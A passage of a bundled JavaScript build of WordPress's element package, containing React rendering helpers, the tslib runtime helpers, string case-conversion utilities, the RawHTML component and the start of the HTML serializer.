 * @param {import('react').ComponentType} component Component's instance.
 */


/**
 * Forces React to flush any updates inside the provided callback synchronously.
 *
 * @param {Function} callback Callback to run synchronously.
 */


/**
 * Renders a given element into the target DOM node.
 *
 * @deprecated since WordPress 6.2.0. Use `createRoot` instead.
 * @see https://react.dev/reference/react-dom/render
 */


/**
 * Hydrates a given element into the target DOM node.
 *
 * @deprecated since WordPress 6.2.0. Use `hydrateRoot` instead.
 * @see https://react.dev/reference/react-dom/hydrate
 */


/**
 * Creates a new React root for the target DOM node.
 *
 * @since 6.2.0 Introduced in WordPress core.
 * @see https://react.dev/reference/react-dom/client/createRoot
 */


/**
 * Creates a new React root for the target DOM node and hydrates it with a pre-generated markup.
 *
 * @since 6.2.0 Introduced in WordPress core.
 * @see https://react.dev/reference/react-dom/client/hydrateRoot
 */


/**
 * Removes any mounted element from the target DOM node.
 *
 * @deprecated since WordPress 6.2.0. Use `root.unmount()` instead.
 * @see https://react.dev/reference/react-dom/unmountComponentAtNode
 */


;// ./node_modules/@wordpress/element/build-module/utils.js
/**
 * Checks if the provided WP element is empty.
 *
 * @param {*} element WP element to check.
 * @return {boolean} True when an element is considered empty.
 */
const isEmptyElement = element => {
  if (typeof element === 'number') {
    return false;
  }
  if (typeof element?.valueOf() === 'string' || Array.isArray(element)) {
    return !element.length;
  }
  return !element;
};

;// ./node_modules/@wordpress/element/build-module/platform.js
/**
 * Parts of this source were derived and modified from react-native-web,
 * released under the MIT license.
 *
 * Copyright (c) 2016-present, Nicolas Gallagher.
 * Copyright (c) 2015-present, Facebook, Inc.
 *
 */
const Platform = {
  OS: 'web',
  select: spec => 'web' in spec ? spec.web : spec.default,
  isWeb: true
};
/**
 * Component used to detect the current Platform being used.
 * Use Platform.OS === 'web' to detect if running on web environment.
 *
 * This is the same concept as the React Native implementation.
 *
 * @see https://reactnative.dev/docs/platform-specific-code#platform-module
 *
 * Here is an example of how to use the select method:
 * @example
 * ```js
 * import { Platform } from '@wordpress/element';
 *
 * const placeholderLabel = Platform.select( {
 *   native: __( 'Add media' ),
 *   web: __( 'Drag images, upload new ones or select files from your library.' ),
 * } );
 * ```
 */
/* harmony default export */ const platform = (Platform);

;// ./node_modules/is-plain-object/dist/is-plain-object.mjs
/*!
 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
 *
 * Copyright (c) 2014-2017, Jon Schlinkert.
 * Released under the MIT License.
 */

function isObject(o) {
  return Object.prototype.toString.call(o) === '[object Object]';
}

function isPlainObject(o) {
  var ctor,prot;

  if (isObject(o) === false) return false;

  // If has modified constructor
  ctor = o.constructor;
  if (ctor === undefined) return true;

  // If has modified prototype
  prot = ctor.prototype;
  if (isObject(prot) === false) return false;

  // If constructor does not have an Object-specific method
  if (prot.hasOwnProperty('isPrototypeOf') === false) {
    return false;
  }

  // Most likely a plain Object
  return true;
}



;// ./node_modules/tslib/tslib.es6.mjs
/******************************************************************************
Copyright (c) Microsoft Corporation.

Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
***************************************************************************** */
/* global Reflect, Promise, SuppressedError, Symbol, Iterator */

var extendStatics = function(d, b) {
  extendStatics = Object.setPrototypeOf ||
      ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
      function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
  return extendStatics(d, b);
};

function __extends(d, b) {
  if (typeof b !== "function" && b !== null)
      throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
  extendStatics(d, b);
  function __() { this.constructor = d; }
  d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}

var __assign = function() {
  __assign = Object.assign || function __assign(t) {
      for (var s, i = 1, n = arguments.length; i < n; i++) {
          s = arguments[i];
          for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
      }
      return t;
  }
  return __assign.apply(this, arguments);
}

function __rest(s, e) {
  var t = {};
  for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
      t[p] = s[p];
  if (s != null && typeof Object.getOwnPropertySymbols === "function")
      for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
          if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
              t[p[i]] = s[p[i]];
      }
  return t;
}

function __decorate(decorators, target, key, desc) {
  var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
  if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
  else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
  return c > 3 && r && Object.defineProperty(target, key, r), r;
}

function __param(paramIndex, decorator) {
  return function (target, key) { decorator(target, key, paramIndex); }
}

function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
  function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
  var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
  var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
  var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
  var _, done = false;
  for (var i = decorators.length - 1; i >= 0; i--) {
      var context = {};
      for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
      for (var p in contextIn.access) context.access[p] = contextIn.access[p];
      context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
      var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
      if (kind === "accessor") {
          if (result === void 0) continue;
          if (result === null || typeof result !== "object") throw new TypeError("Object expected");
          if (_ = accept(result.get)) descriptor.get = _;
          if (_ = accept(result.set)) descriptor.set = _;
          if (_ = accept(result.init)) initializers.unshift(_);
      }
      else if (_ = accept(result)) {
          if (kind === "field") initializers.unshift(_);
          else descriptor[key] = _;
      }
  }
  if (target) Object.defineProperty(target, contextIn.name, descriptor);
  done = true;
};

function __runInitializers(thisArg, initializers, value) {
  var useValue = arguments.length > 2;
  for (var i = 0; i < initializers.length; i++) {
      value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
  }
  return useValue ? value : void 0;
};

function __propKey(x) {
  return typeof x === "symbol" ? x : "".concat(x);
};

function __setFunctionName(f, name, prefix) {
  if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
  return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
};

function __metadata(metadataKey, metadataValue) {
  if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
}

function __awaiter(thisArg, _arguments, P, generator) {
  function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
  return new (P || (P = Promise))(function (resolve, reject) {
      function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
      function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
      function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
      step((generator = generator.apply(thisArg, _arguments || [])).next());
  });
}

function __generator(thisArg, body) {
  var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
  return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
  function verb(n) { return function (v) { return step([n, v]); }; }
  function step(op) {
      if (f) throw new TypeError("Generator is already executing.");
      while (g && (g = 0, op[0] && (_ = 0)), _) try {
          if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
          if (y = 0, t) op = [op[0] & 2, t.value];
          switch (op[0]) {
              case 0: case 1: t = op; break;
              case 4: _.label++; return { value: op[1], done: false };
              case 5: _.label++; y = op[1]; op = [0]; continue;
              case 7: op = _.ops.pop(); _.trys.pop(); continue;
              default:
                  if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
                  if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
                  if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
                  if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
                  if (t[2]) _.ops.pop();
                  _.trys.pop(); continue;
          }
          op = body.call(thisArg, _);
      } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
      if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
  }
}

var __createBinding = Object.create ? (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  var desc = Object.getOwnPropertyDescriptor(m, k);
  if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
  }
  Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  o[k2] = m[k];
});

function __exportStar(m, o) {
  for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
}

function __values(o) {
  var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
  if (m) return m.call(o);
  if (o && typeof o.length === "number") return {
      next: function () {
          if (o && i >= o.length) o = void 0;
          return { value: o && o[i++], done: !o };
      }
  };
  throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
}

function __read(o, n) {
  var m = typeof Symbol === "function" && o[Symbol.iterator];
  if (!m) return o;
  var i = m.call(o), r, ar = [], e;
  try {
      while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
  }
  catch (error) { e = { error: error }; }
  finally {
      try {
          if (r && !r.done && (m = i["return"])) m.call(i);
      }
      finally { if (e) throw e.error; }
  }
  return ar;
}

/** @deprecated */
function __spread() {
  for (var ar = [], i = 0; i < arguments.length; i++)
      ar = ar.concat(__read(arguments[i]));
  return ar;
}

/** @deprecated */
function __spreadArrays() {
  for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
  for (var r = Array(s), k = 0, i = 0; i < il; i++)
      for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
          r[k] = a[j];
  return r;
}

function __spreadArray(to, from, pack) {
  if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
      if (ar || !(i in from)) {
          if (!ar) ar = Array.prototype.slice.call(from, 0, i);
          ar[i] = from[i];
      }
  }
  return to.concat(ar || Array.prototype.slice.call(from));
}

function __await(v) {
  return this instanceof __await ? (this.v = v, this) : new __await(v);
}

function __asyncGenerator(thisArg, _arguments, generator) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var g = generator.apply(thisArg, _arguments || []), i, q = [];
  return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
  function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
  function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
  function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
  function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
  function fulfill(value) { resume("next", value); }
  function reject(value) { resume("throw", value); }
  function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
}

function __asyncDelegator(o) {
  var i, p;
  return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
  function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
}

function __asyncValues(o) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var m = o[Symbol.asyncIterator], i;
  return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
  function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
  function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
}

function __makeTemplateObject(cooked, raw) {
  if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
  return cooked;
};

var __setModuleDefault = Object.create ? (function(o, v) {
  Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
  o["default"] = v;
};

var ownKeys = function(o) {
  ownKeys = Object.getOwnPropertyNames || function (o) {
    var ar = [];
    for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
    return ar;
  };
  return ownKeys(o);
};

function __importStar(mod) {
  if (mod && mod.__esModule) return mod;
  var result = {};
  if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
  __setModuleDefault(result, mod);
  return result;
}

function __importDefault(mod) {
  return (mod && mod.__esModule) ? mod : { default: mod };
}

function __classPrivateFieldGet(receiver, state, kind, f) {
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
  return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
}

function __classPrivateFieldSet(receiver, state, value, kind, f) {
  if (kind === "m") throw new TypeError("Private method is not writable");
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
  return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
}

function __classPrivateFieldIn(state, receiver) {
  if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
  return typeof state === "function" ? receiver === state : state.has(receiver);
}

function __addDisposableResource(env, value, async) {
  if (value !== null && value !== void 0) {
    if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
    var dispose, inner;
    if (async) {
      if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
      dispose = value[Symbol.asyncDispose];
    }
    if (dispose === void 0) {
      if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
      dispose = value[Symbol.dispose];
      if (async) inner = dispose;
    }
    if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
    if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
    env.stack.push({ value: value, dispose: dispose, async: async });
  }
  else if (async) {
    env.stack.push({ async: true });
  }
  return value;
}

var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
  var e = new Error(message);
  return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
};

function __disposeResources(env) {
  function fail(e) {
    env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
    env.hasError = true;
  }
  var r, s = 0;
  function next() {
    while (r = env.stack.pop()) {
      try {
        if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
        if (r.dispose) {
          var result = r.dispose.call(r.value);
          if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
        }
        else s |= 1;
      }
      catch (e) {
        fail(e);
      }
    }
    if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
    if (env.hasError) throw env.error;
  }
  return next();
}

function __rewriteRelativeImportExtension(path, preserveJsx) {
  if (typeof path === "string" && /^\.\.?\//.test(path)) {
      return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
          return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
      });
  }
  return path;
}

/* harmony default export */ const tslib_es6 = ({
  __extends,
  __assign,
  __rest,
  __decorate,
  __param,
  __esDecorate,
  __runInitializers,
  __propKey,
  __setFunctionName,
  __metadata,
  __awaiter,
  __generator,
  __createBinding,
  __exportStar,
  __values,
  __read,
  __spread,
  __spreadArrays,
  __spreadArray,
  __await,
  __asyncGenerator,
  __asyncDelegator,
  __asyncValues,
  __makeTemplateObject,
  __importStar,
  __importDefault,
  __classPrivateFieldGet,
  __classPrivateFieldSet,
  __classPrivateFieldIn,
  __addDisposableResource,
  __disposeResources,
  __rewriteRelativeImportExtension,
});

;// ./node_modules/lower-case/dist.es2015/index.js
/**
 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
 */
var SUPPORTED_LOCALE = {
    tr: {
        regexp: /\u0130|\u0049|\u0049\u0307/g,
        map: {
            İ: "\u0069",
            I: "\u0131",
            İ: "\u0069",
        },
    },
    az: {
        regexp: /\u0130/g,
        map: {
            İ: "\u0069",
            I: "\u0131",
            İ: "\u0069",
        },
    },
    lt: {
        regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
        map: {
            I: "\u0069\u0307",
            J: "\u006A\u0307",
            Į: "\u012F\u0307",
            Ì: "\u0069\u0307\u0300",
            Í: "\u0069\u0307\u0301",
            Ĩ: "\u0069\u0307\u0303",
        },
    },
};
/**
 * Localized lower case.
 */
function localeLowerCase(str, locale) {
    var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
    if (lang)
        return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
    return lowerCase(str);
}
/**
 * Lower case as a function.
 */
function lowerCase(str) {
    return str.toLowerCase();
}

;// ./node_modules/no-case/dist.es2015/index.js

// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
// Remove all non-word characters.
var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
/**
 * Normalize the string into something other libraries can manipulate easier.
 */
function noCase(input, options) {
    if (options === void 0) { options = {}; }
    var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
    var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
    var start = 0;
    var end = result.length;
    // Trim the delimiter from around the output string.
    while (result.charAt(start) === "\0")
        start++;
    while (result.charAt(end - 1) === "\0")
        end--;
    // Transform each token independently.
    return result.slice(start, end).split("\0").map(transform).join(delimiter);
}
/**
 * Replace `re` in the input string with the replacement value.
 */
function replace(input, re, value) {
    if (re instanceof RegExp)
        return input.replace(re, value);
    return re.reduce(function (input, re) { return input.replace(re, value); }, input);
}

;// ./node_modules/dot-case/dist.es2015/index.js


function dotCase(input, options) {
    if (options === void 0) { options = {}; }
    return noCase(input, __assign({ delimiter: "." }, options));
}

;// ./node_modules/param-case/dist.es2015/index.js


function paramCase(input, options) {
    if (options === void 0) { options = {}; }
    return dotCase(input, __assign({ delimiter: "-" }, options));
}

;// external ["wp","escapeHtml"]
const external_wp_escapeHtml_namespaceObject = window["wp"]["escapeHtml"];
;// ./node_modules/@wordpress/element/build-module/raw-html.js
/**
 * Internal dependencies
 */


/** @typedef {{children: string} & import('react').ComponentPropsWithoutRef<'div'>} RawHTMLProps */

/**
 * Component used as equivalent of Fragment with unescaped HTML, in cases where
 * it is desirable to render dangerous HTML without needing a wrapper element.
 * To preserve additional props, a `div` wrapper _will_ be created if any props
 * aside from `children` are passed.
 *
 * @param {RawHTMLProps} props Children should be a string of HTML or an array
 *                             of strings. Other props will be passed through
 *                             to the div wrapper.
 *
 * @return {JSX.Element} Dangerously-rendering component.
 */
function RawHTML({
  children,
  ...props
}) {
  let rawHtml = '';

  // Cast children as an array, and concatenate each element if it is a string.
  external_React_namespaceObject.Children.toArray(children).forEach(child => {
    if (typeof child === 'string' && child.trim() !== '') {
      rawHtml += child;
    }
  });

  // The `div` wrapper will be stripped by the `renderElement` serializer in
  // `./serialize.js` unless there are non-children props present.
  return (0,external_React_namespaceObject.createElement)('div', {
    dangerouslySetInnerHTML: {
      __html: rawHtml
    },
    ...props
  });
}

;// ./node_modules/@wordpress/element/build-module/serialize.js
/**
 * Parts of this source were derived and modified from fast-react-render,
 * released under the MIT license.
 *
 * https://github.com/alt-j/fast-react-render
 *
 * Copyright (c) 2016 Andrey Morozov
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

/**
 * External dependencies
 */



/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



/** @typedef {import('react').ReactElement} ReactElement */

const {
  Provider,
  Consumer
} = (0,external_React_namespaceObject.createContext)(undefined);
const ForwardRef = (0,external_React_namespaceObject.forwardRef)(() => {
  return null;
});

/**
 * Valid attribute types.
 *
 * @type {Set<string>}
 */
const ATTRIBUTES_TYPES = new Set(['string', 'boolean', 'number']);

/**
 * Element tags which can be self-closing.
 *
 * @type {Set<string>}
 */
const SELF_CLOSING_TAGS = new Set(['area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr']);

/**
 * Boolean attributes are attributes whose presence as being assigned is
 * meaningful, even if only empty.
 *
 * See: https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#boolean-attributes
 * Extracted from: https://html.spec.whatwg.org/multipage/indices.html#attributes-3
 *
 * Object.keys( [ ...document.querySelectorAll( '#attributes-1 > tbody > tr' ) ]
 *     .filter( ( tr ) => tr.lastChild.textContent.indexOf( 'Boolean attribute' ) !== -1 )
 *     .reduce( ( result, tr ) => Object.assign( result, {
 *         [ tr.firstChild.textContent.trim() ]: true
 *     } ), {} ) ).sort();
 *
 * @type {Set<string>}
 */
const BOOLEAN_ATTRIBUTES = new Set(['allowfullscreen', 'allowpaymentrequest', 'allowusermedia', 'async', 'autofocus', 'autoplay', 'checked', 'controls', 'default', 'defer', 'disabled', 'download', 'formnovalidate', 'hidden', 'ismap', 'itemscope', 'loop', 'multiple', 'muted', 'nomodule', 'novalidate', 'open', 'playsinline', 'readonly', 'required', 'reversed', 'selected', 'typemustmatch']);

/**
 * Enumerated attributes are attributes which must be of a specific value form.
 * Like boolean attributes, these are meaningful if specified, even if not of a
 * valid enumerated value.
 *
 * See: https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#enumerated-attribute
 * Extracted from: https://html.spec.whatwg.org/multipage/indices.html#attributes-3
 *
 * Object.keys( [ ...document.querySelectorAll( '#attributes-1 > tbody > tr' ) ]
 *     .filter( ( tr ) => /^("(.+?)";?\s*)+/.test( tr.lastChild.textContent.trim() ) )
 *     .reduce( ( result, tr ) => Object.assign( result, {
 *         [ tr.firstChild.textContent.trim() ]: true
 *     } ), {} ) ).sort();
 *
 * Some notable omissions:
 *
 *  - `alt`: https://blog.whatwg.org/omit-alt
 *
 * @type {Set<string>}
 */
const ENUMERATED_ATTRIBUTES = new Set(['autocapitalize', 'autocomplete', 'charset', 'contenteditable', 'crossorigin', 'decoding', 'dir', 'draggable', 'enctype', 'formenctype', 'formmethod', 'http-equiv', 'inputmode', 'kind', 'method', 'preload', 'scope', 'shape', 'spellcheck', 'translate', 'type', 'wrap']);

/**
 * Set of CSS style properties which support assignment of unitless numbers.
 * Used in rendering of style properties, where `px` unit is assumed unless
 * property is included in this set or value is zero.
 *
 * Generated via:
 *
 * Object.entries( document.createElement( 'div' ).style )
 *     .filter( ( [ key ] ) => (
 *         ! /^(webkit|ms|moz)/.test( key ) &&
 *         ( e.style[ key ] = 10 ) &&
 *         e.style[ key ] === '10'
 *     ) )
 *     .map( ( [ key ] ) => key )
 *     .sort();
 *
 * @type {Set<string>}
 */
const CSS_PROPERTIES_SUPPORTS_UNITLESS = new Set(['animation', 'animationIterationCount', 'baselineShift', 'borderImageOutset', 'borderImageSlice', 'borderImageWidth', 'columnCount', 'cx', 'cy', 'fillOpacity', 'flexGrow', 'flexShrink', 'floodOpacity', 'fontWeight', 'gridColumnEnd', 'gridColumnStart', 'gridRowEnd', 'gridRowStart', 'lineHeight', 'opacity', 'order', 'orphans', 'r', 'rx', 'ry', 'shapeImageThreshold', 'stopOpacity', 'strokeDasharray', 'strokeDashoffset', 'strokeMiterlimit', 'strokeOpacity', 'strokeWidth', 'tabSize', 'widows', 'x', 'y', 'zIndex', 'zoom']);

/**
 * Returns true if the specified string is prefixed by one of an array of
 * possible prefixes.
 *
 * @param {string}   string   String to check.
 * @param {string[]} prefixes Possible prefixes.
 *
 * @return {boolean} Whether string has prefix.
 */
function hasPrefix(string, prefixes) {
  return prefixes.some(prefix => string.indexOf(prefix) === 0);
}

/**
 * Returns true if the given prop name should be ignored in attributes
 * serialization, or false otherwise.
 *
 * @param {string} attribute Attribute to check.
 *
 * @return {boolean} Whether attribute should be ignored.
 */
function isInternalAttribute(attribute) {
  return 'key' === attribute || 'children' === attribute;
}

/**
 * Returns the normal form of the element's attribute value for HTML.
 *
 * @param {string} attribute Attribute name.
 * @param {*}      value     Non-normalized attribute value.
 *
 * @return {*} Normalized attribute value.
 */
function getNormalAttributeValue(attribute, value) {
  switch (attribute) {
    case 'style':
      return renderStyle(value);
  }
  return value;
}
/**
 * This is a map of all SVG attributes that have dashes. Map(lower case prop => dashed lower case attribute).
 * We need this to render e.g strokeWidth as stroke-width.
 *
 * List from: https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute.
 */
const SVG_ATTRIBUTE_WITH_DASHES_LIST = ['accentHeight', 'alignmentBaseline', 'arabicForm', 'baselineShift', 'capHeight', 'clipPath', 'clipRule', 'colorInterpolation', 'colorInterpolationFilters', 'colorProfile', 'colorRendering', 'dominantBaseline', 'enableBackground', 'fillOpacity', 'fillRule', 'floodColor', 'floodOpacity', 'fontFamily', 'fontSize', 'fontSizeAdjust', 'fontStretch', 'fontStyle', 'fontVariant', 'fontWeight', 'glyphName', 'glyphOrientationHorizontal', 'glyphOrientationVertical', 'horizAdvX', 'horizOriginX', 'imageRendering', 'letterSpacing', 'lightingColor', 'markerEnd', 'markerMid', 'markerStart', 'overlinePosition', 'overlineThickness', 'paintOrder', 'panose1', 'pointerEvents', 'renderingIntent', 'shapeRendering', 'stopColor', 'stopOpacity', 'strikethroughPosition', 'strikethroughThickness', 'strokeDasharray', 'strokeDashoffset', 'strokeLinecap', 'strokeLinejoin', 'strokeMiterlimit', 'strokeOpacity', 'strokeWidth', 'textAnchor', 'textDecoration', 'textRendering', 'underlinePosition', 'underlineThickness', 'unicodeBidi', 'unicodeRange', 'unitsPerEm', 'vAlphabetic', 'vHanging', 'vIdeographic', 'vMathematical', 'vectorEffect', 'vertAdvY', 'vertOriginX', 'vertOriginY', 'wordSpacing', 'writingMode', 'xmlnsXlink', 'xHeight'].reduce((map, attribute) => {
  // The keys are lower-cased for more robust lookup.
  map[attribute.toLowerCase()] = attribute;
  return map;
}, {});

/**
 * This is a map of all case-sensitive SVG attributes. Map(lowercase key => proper case attribute).
 * The keys are lower-cased for more robust lookup.
 * Note that this list only contains attributes that contain at least one capital letter.
